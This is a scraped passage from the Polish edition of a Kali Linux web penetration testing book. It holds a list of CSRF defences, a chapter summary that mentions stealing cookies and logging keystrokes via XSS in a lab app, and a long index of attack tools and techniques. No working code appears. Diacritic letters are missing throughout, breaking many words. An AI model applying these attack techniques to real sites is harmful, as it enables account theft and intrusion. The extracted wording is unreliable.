Innym narz dziem, którego cz sto u ywa si do tworzenia stron demonstracyjnych dla luk CSRF,jest pinata-csrf-tool dost pne pod adresem: https://code.google.com/p/pinata-csrf-tool/.

Techniki obrony przed atakami XSRFPoni ej przedstawiam list niektórych technik obrony przed atakami typu XSRF:

1. Atak XSRF atwiej jest przeprowadzi , gdy podatny parametr jest przekazywanymetod GET. Dlatego pierwsz lini obrony jest unikanie u ywania tej metody.Rezygnacja z niej nie stanowi doskona ego zabezpieczenia, ale utrudnia hakerowizadanie.

2. W opisanej wcze niej metodyce ataku haker tworzy now stron internetow ,na której umieszcza formularz HTML-a, wysy aj c dania do podatnej na atakiaplikacji. Odsy acz HTTP jest wysy any przez przegl dark , gdy klient zostanieskierowany na okre lon stron . Je eli aplikacja sprawdza zawarto pola HTTPReferrer, to mo na ten fakt wykorzysta do obrony, odrzucaj c wszystkie po czeniapochodz ce z innej domeny.

3. Przed wykonaniem wa nej czynno ci nale y wy wietla test CAPTCHA, abyu ytkownik musia r cznie wykona zadanie przed przej ciem do kolejnego etapu.

4. Dla ka dego formularza HTML-a mo na zaimplementowa niepowtarzalny token,którego warto ci napastnik nie mo e zna .

5. W witrynach o wysokich wymaganiach bezpiecze stwa powinien obowi zywa krótkiczas wa no ci sesji. Im krótsza sesja, tym mniejsze ryzyko, e kto przeprowadziudany atak, poniewa zanim do tego dojdzie, ofiara zostanie wylogowana z aplikacji.

Poleć książkęKup książkę

Page 36: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

182

PodsumowanieW tym rozdziale szczegó owo omówi em luki typu XSS. Na pocz tku zwi le przedstawi emhistori tej usterki, a nast pnie opisa em ró ne rodzaje ataków XSS, wskazuj c potencja ka de-go z nich. Kluczem do powodzenia ataku XSS jest wykorzystanie JavaScriptu. W przyk adachza pomoc kodu w tym j zyku wykradali my ciasteczka, rejestrowali my naciskane klawisze orazpodmieniali my zawarto strony internetowej. Kali Linux zawiera kilka narz dzi do szukaniai wykorzystywania luk typu XSS, przy u yciu których przetestowali my aplikacj DVWA. Nast p-nie przeszed em do omówienia ataków typu XSRF oraz wyja ni em, jakie warunki musz byspe nione, aby przeprowadzenie takiego ataku mog o si powie .

W nast pnym rozdziale opisuj stosowane w aplikacjach sieciowych mechanizmy szyfrowaniaoraz ró ne sposoby przeprowadzania ataków.

Poleć książkęKup książkę

Page 37: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Skorowidz

AACK scan, 76ACT, AJAX Crawling Tool, 235adres MAC, 77AES, Advance Encryption Standard, 188AJAX, 227, 231

bezpiecze stwo, 231sk adniki technologii, 229zasada dzia ania, 229

AJAX Spider, 236aktywne testowanie zabezpiecze , 20algorytm

AES, 188DES, 188Diffiego-Hellmana, 187ECC, 188ECDHE, 193IDEA, 188MAC, 189MD5, 193RC4, 188, 193RSA, 187, 193SHA, 189

algorytmy szyfrowaniaasymetrycznego, 187symetrycznego, 188

Amapskanowanie wersji, 81

analizakodu klienckiego, 237ró nic SSL, 88tokenów, 117

analizator podatno ci, 54anonimowe po czenia, 58aplikacje sieciowe, 26

dla pentesterów, 29identyfikowanie systemu, 81najwa niejsze wady, 99po redniki, 49przeszukiwanie, 94SSL, 185testowanie, 26testowanie fuzzingowe, 254wielowarstwowe, 38

APT, Advanced Persistent Threats, 27, 203atak typu

Credential Harvester Attack, 210CRIME, 193CSRF, 114, 115DoS, 25Heartbleed, 193Java Applet Attack, 209Metasploit Browser Exploit, 212man in the middle, 116, 196, 223spear phishing, 206SQL injection, 144, 145Tabnabbing Attack, 212XSRF, 155

techniki obrony, 181XSS, 112, 155–157, 221

na DOM, 161refleksyjne, 161z utrwaleniem, 159z u yciem metody POST, 164

Web Jacking Attack, 211

Poleć książkęKup książkę

Page 38: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Skorowidz

266

atakikolizyjne, 189na DOM, 161na grube ryby, 29na klienta, 112na Mutillidae, 221na serwer, 127na witryny SSL, 183oparte na in ynierii spo ecznej, 28polegaj ce na do czaniu plików, 120z ukrycia, 27z wykorzystaniem

luki Shellshock, 140identyfikatorów sesji, 117strony internetowej, 209telefonu, 28narz dzia Metasploit, 140

audyty bezpiecze stwa, 22automat sqlmap, 147automatyzacja skanowania, 91

Bbaza danych Whois, 66BBQSQL, 150BeEF

atak na Mutillidae, 221informacji o ho cie, 219modu trwa o ci, 219modu y eksploitów, 218rekonesans sieciowy, 219wstrzykiwanie uchwytu, 215wstrzykiwanie zaczepu, 223

BeEF, Browser Exploitation Framework, 214b dy konfiguracyjne, 89Browser Exploitation Framework, 214budowa aplikacji sieciowych, 29Burp, 50, 52, 94

przegl danie cie ki, 107

Cciasteczka, 35, 87

do uwierzytelniania, 133parametry, 37nietrwa e, 36trwa e, 36

Credential Harvester Attack, 210CRUD, 242CSRF, cross-site request forgery, 114

Ddane

HTML-a, 37kontaktowe klienta, 23

DES, Data Encryption Standard, 188DHTML, 229DirBuster

przegl danie katalogów, 100DNS, 67dodatek

AJAX Spider, 236Developer, 240Firebug, 237

do czanie plikówlokalnych, 119zdalnych, 119

DOM, Document Object Model, 157, 229dost p do da AJAX, 233dzia anie technologii AJAX, 229dzielenie odpowiedzi HTTP, 123

Eeksploity, 25etapy fuzzingu, 253

Ffa szowanie adresu MAC, 77Firebug, 237

okienko Console, 239okienko Network, 240okienko Script, 239

framework, 203Browser Exploitation Framework, 214

frameworki fuzzingowe, 252funkcja

przywracania, 48SAN, 72

funkcje mieszaj ce, 189fuzzing

aplikacji sieciowych, 57, 247, 251, 256etapy, 253

Poleć książkęKup książkę

Page 39: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Skorowidz

267

generacyjny, 250interfejsu u ytkownika, 251mutacyjny, 249plików, 251protoko u sieciowego, 250przegl darek internetowych, 251przy u yciu intrudera Burp, 257testowanie aplikacji, 254zastosowania, 250

Hhaker, 21haking etyczny, 20, 22HSTS, HTTP Strict Transport Security, 200

IIDEA, International Data Encryption Algorithm,

188identyfikacja

hostów, 67hostów wirtualnych, 83metod HTTP, 89parametrów, 129systemów

CMS, 56zarz dzania obci eniem, 88

systemu operacyjnego, 78wersji aplikacji, 79, 81

identyfikator sesji, 117informacje

o domenie, 65, 66o ho cie, 219

instalowanie Kali Linuksa, 43Amazon Cloud, 46na dysku twardym, 47obraz ARM, 46obraz VMware, 46tryb USB, 43

instrukcje SQL, 142intruder, 257in ynieria spo eczna

ataki, 28szkolenia, 29

IPEC, Inter-Protocol Exploitation andCommunication, 220

JJava Applet Attack, 209JavaScript, 156, 229

KKali Linux, 41

instalowanie, 43narz dzia, 49udoskonalenia, 42

klucze do API, 70komentarze w kodzie HTML-a, 101komunikaty o b dach, 130konfiguracja

intrudera, 257rodowiska pracy, 41

Tora, 58kradzie

ciasteczek, 165tokenów, 116

LLFI, Local File Include, 119logowanie, 96lokalizowanie wirtualnych hostów, 83luka

dotycz ca sesji, 115Shellshock, 138typu SQL injection, 144, 146typu XSRF, 178, 180typu XSS, 114, 167zwi zana z do czaniem plików, 119

amaniehase , 103, 104tokenów, 116

MMAC, Message Authentication Code, 189maszyna wirtualna PHP HHVM, 81mechanizm

zabezpiecze HSTS, 200uwierzytelniania, 102

Poleć książkęKup książkę

Page 40: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Skorowidz

268

Metasploit, 90modu y, 90wstrzykiwanie polece , 134wtyczka WMAP, 91

Metasploit Browser Exploit, 212metaznaki, 130metoda

brute force, 103DELETE, 34GET, 33HEAD, 34OPTIONS, 34POST, 33, 164PUT, 34TRACE, 34

metodyHTTP, 33testowania aplikacji, 21, 146

mieszanie, 189modu

Geocoder, 73LinkedIn Authenticated Contact Enumerator,

73Netcraft Hostname Enumerator, 72PInfoDB GeoIP, 73Pushpin, 73Reverse Geocoder, 73SSL SAN Lookup, 72Yahoo! Hostname Enumerator, 73

modu y Metasploita, 90modyfikowanie da w locie, 51

Nnag ówek, 255

HTTP, 81odpowiedzi, 32

dania, 31narz dzia, 49

dla programistów, 240do analizy tokenów, 117do identyfikacji systemów CMS, 56proxy, 53socjotechniczne, 205

narz dzieACT, 235Amap, 78Burp, 50, 87, 107

dig, 67dirb, 140DirBuster, 54, 100Hydra, 104MITMf, 223Nikto, 53Nmap, 68OpenSSL, 190, 191OpenVAS, 54PowerFuzzer, 262ProxyStrike, 53Recon-ng, 69SET, 205Skipfish, 54Sprajax, 235sqlmap, 147sqlninja, 152sqlsus, 151SSLScan, 193SSLsplit, 198SSLstrip, 199SSLyze, 194Tor, 57w3af, 174Wapiti, 131WebScarab, 53WhatWeb, 82XSSer, 172Zed Attack Proxy, 53, 167

nienaruszalno danych, 189Nmap, 68

identyfikowaniemetod HTTP, 89systemu operacyjnego, 78

opcje skanowania, 74skanowanie

portów, 74wersji, 79

testowanie konfiguracji SSL, 195unikanie

urz dze IPS, 75zapór sieciowych, 75

wykrywanie zapory, 77numery portów, 76nurkowanie w mieciach, 28

Poleć książkęKup książkę

Page 41: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Skorowidz

269

Oobiektowy model dokumentu, DOM, 157obraz

ARM, 46VMware, 46

ocena podatno ci, 22oddzielanie polece , 130odwo ania do obiektów, 244ograniczenia testów penetracyjnych, 25okienko

Console, 239Network, 240Script, 239

opcjeprzechwytywania da , 51skanowania portów, 74

OpenSSL, 190operator UNION, 143oszustwa e-mailowe, 28

Ppaj k Burpa, 94pakiet narz dzi socjotechnicznych, 205parametry ciasteczek, 37pentester, 24plan operacji, 23pola formularzy, 256polecenie dig, 67po rednik

Burp, 50ProxyStrike, 53

po redniki aplikacji sieciowych, 49poufne dane, 24PowerFuzzer, 262powiadamianie dzia u IT, 24pow oka PHP, 135proces szyfrowania SSL, 186profilowanie serwera, 79protoko y uwierzytelniania, 102protokó

HTTP, 30SSL, 52, 185uzgadniania kluczy Diffiego-Hellmana, 187

ProxyStrike, 53przechwytywanie tokenów, 116przegl danie

cie ki, 105, 109zawarto ci katalogów, 100

przekierowanie, 88przep yw ciasteczek, 36przesy anie tokena, 117przeszukiwanie aplikacji

AJAX, 234sieciowych, 94

Rraportowanie modu ów, 72raporty graficzne, 93RC4, Rivest Cipher 4, 188Recon-ng, 69

modu y rekonesansowe, 72raportowanie modu ów, 72wyszukiwanie wirtualnych hostów, 85znajdowanie domen, 70znajdowanie poddomen, 71

regu y zapory, 76rejestrowanie naciskanych klawiszy, 166rekonesans, 64, 98

aktywny, 64pasywny, 64sieciowy, 219

REST, 241RFI, Remote File Include, 119rodzaje us ug sieciowych, 241rozmiar pakietu, 76równowa enie obci enia, 86

SSAN, subject alternative names, 72serwer DNS, 67sesje, 115SET, Social-Engineer Toolkit, 205SHA, Secure Hash Algorithm, 189sieciowy skaner, 53skaner luk bezpiecze stwa

DirBuster, 54Nikto, 53OpenVAS, 54Skipfish, 54

skanowanieluk, 93portów, 74serwerów sieciowych, 89wersji, 79, 81

Poleć książkęKup książkę

Page 42: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Skorowidz

270

Skipfishraporty graficzne, 93skanowanie luk, 93

sk adniki technologii AJAX, 229s abe implementacje SSL, 190sniffing, 183SOAP, 241socjotechnika, 204spotkania sprawozdawcze, 24Sprajax, 235spreparowane identyfikatory sesji, 117SQL injection, 142sqlmap, 147sqlninja, 152sqlsus, 151SSL, Secure Socket Layer, 184SSLScan, 193SSLsplit, 198SSLstrip, 199SSLyze, 194system

CMS, 56gromadzenia informacji, 69zarz dzania obci eniem, 87, 88

szkodliwe pami ci USB, 29szukanie luk typu XSRF, 180szyfrowanie, 183

asymetryczne, 187SSL, 186symetryczne, 187

szyfryblokowe, 188strumieniowe, 188

ledzenie sesji, 35lepe ataki, 145rodowisko pracy, 41

TTabnabbing Attack, 212technika

ataku, 179brutalnej si y, 68

technologia AJAX, 228, 229, 231

testowanieaplikacji, 146fuzzingowe, 254konfiguracji SSL, 195na zasadzie czarnej skrzynki, 23na zasadzie szarej skrzynki, 23serwerów sieciowych, 90wej cia aplikacji sieciowych, 254zabezpiecze , 20

testy penetracyjne, 20, 22aplikacji AJAX, 234ograniczenia, 25

token, 116Tor, 57

wizualizacja dania sieciowego, 60transfer strefy, 67tryb USB, 43tworzenie eksploitów, 25typy

ataków XSS, 159technik fuzzingu, 249

Uujawnienie logiki aplikacji, 233unikanie

urz dze IPS, 75zapór sieciowych, 75

URI da , 255uruchamianie Wapiti, 133us ugi sieciowe, 227, 240ustawianie rozmiaru pakietu, 76uwierzytelnianie, 102

Digest, 103podstawowe, 103z u yciem formularza, 103zintegrowane, 103

Ww3af, 174

interfejs graficzny, 176wtyczki, 175

wady aplikacji sieciowych, 99Wapiti, 131warstwa

aplikacji, 38dost pu do danych, 38prezentacyjna, 38

Poleć książkęKup książkę

Page 43: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Skorowidz

271

warto MTU, 76warunki powodzenia ataku, 179Web Jacking Attack, 211WebScarab, 53wielowarstwowe aplikacje sieciowe, 38wirtualizacja Kali Linuksa, 48wirtualne hosty witryn, 83wizualizacja dania sieciowego, 60w asna warto MTU, 76wstrzykiwanie

danych, 129kodu SQL, 110polece , 109, 128–134uchwytu BeEF, 215, 223

wstrzykni cia lepe, 130wycieki informacji, 100wykorzystywanie luki Shellshock, 138wykrywacz systemów zarz dzania obci eniem,

89wykrywanie

wyników fuzzingu, 256zapory, 77

XXSF, Cross-Site Faxing, 220XSRF, cross-site request forgery, 155, 178XSS, cross-site scripting, 112, 155XSSer, 172

funkcje, 173

Zzabezpieczanie us ug sieciowych, 243zapewnianie nienaruszalno ci danych, 189zapora, 77

aplikacji sieciowej, 89zapytanie SQL, 144zarz dzanie obci eniem, 88zastosowania fuzzingu, 250zatruwanie parametrów HTTP, 120zbieranie informacji, 65, 69Zed Attack Proxy, 53, 167

okre lanie zakresu, 169polityka skanowania, 171tryby dzia ania, 170wybór trybów, 169

zmiana wygl du witryny, 166znacznik

body, 157img, 157script, 157

znajdowaniedomen, 70poddomen, 71

zwi kszenie powierzchni ataku, 232

dania klientów, 51

Poleć książkęKup książkę

Page 44: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Skorowidz

272

Poleć książkęKup książkę

Page 46: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework